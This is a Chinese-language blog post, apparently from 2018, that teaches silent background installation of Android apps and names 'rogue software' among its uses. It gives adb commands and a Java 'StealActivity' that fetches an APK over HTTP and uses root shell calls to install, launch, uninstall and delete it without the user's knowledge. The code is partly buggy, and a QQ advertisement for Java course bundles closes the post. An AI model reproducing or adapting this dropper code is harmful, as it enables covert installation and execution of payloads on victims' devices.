Android 靜默安裝程式(在後臺偷偷安裝apk)
阿新 • • 發佈:2018-12-30
一、概述:
1、應用場景:電子市場、流氓軟體
2、使用手段:偷偷下載,偷偷安裝,偷偷啟動,偷偷刪除
二、如何實現:
1、使用命令實現
adb push C:\Users\Administrator\Desktop\gameview.apk data/local/tmp //下載
adb shell
cd data/local/tmp
ls
pm install gameview.apk //安裝
am start -n com.android.game/com.android.game.GameUI //啟動
am kill com.android.game//停止
pm uninstall com .android.game //解除安裝
rm gameview.apk //刪除
2、使用程式碼實現
/**
* @描述 實現靜默安裝
* @專案名稱 App_imooc
* @包名 com.android.imooc.root
* @類名 StealActivity
* @author chenlin
* @date 2013年6月11日 下午5:15:09
*/
public class StealActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
init();
}
private void init() {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
try {
//下載
String path = "http://192.168.0.20:8080/game.apk" ;
URL url = new URL(path);
HttpURLConnection conn = (HttpURLConnection) url.openConnection();
conn.setRequestMethod("get");
conn.setReadTimeout(5000);
conn.setConnectTimeout(5000);
if (conn.getResponseCode() == 200) {
InputStream is = conn.getInputStream();
File file = new File("sdcard/apk/game.apk");
FileOutputStream fos = new FileOutputStream(file);
int len = -1;
byte[] buffer = new byte[1024];
while((len = is.read())!=-1){
fos.write(buffer, 0, len);
}
fos.flush();
fos.close();
}
//偷偷安裝
RootTools.sendShell("pm install sdcard/apk/game.apk", 5000);
System.out.println("下載完畢");
//偷偷啟動
RootTools.sendShell("start -n com.android.game/com.android.game.GameUI", 5000);
System.out.println("啟動完畢");
//RootTools.sendShell("am kill com.android.game", 5000);
//偷偷解除安裝
RootTools.sendShell("pm uninstall com.android.game", 5000);
System.out.println("解除安裝完畢");
//偷偷刪除
RootTools.sendShell("rm sdcard/apk/gameview.apk", 5000);
System.out.println("刪除完畢");
} catch (Exception e) {
e.printStackTrace();
}
}
});
thread.start();
}
}
———————————————————————
有需求者請加qq:136137465,非誠勿擾
(java 架構師全套教程,共760G, 讓你從零到架構師,每月輕鬆拿3萬)
01.高階架構師四十二個階段高
02.Java高階系統培訓架構課程148課時
03.Java高階網際網路架構師課程
04.Java網際網路架構Netty、Nio、Mina等-視訊教程
05.Java高階架構設計2016整理-視訊教程
06.架構師基礎、高階片
07.Java架構師必修linux運維繫列課程
08.Java高階系統培訓架構課程116課時
(送:hadoop系列教程,java設計模式與資料結構, Spring Cloud微服務, SpringBoot入門)
——————————————————————–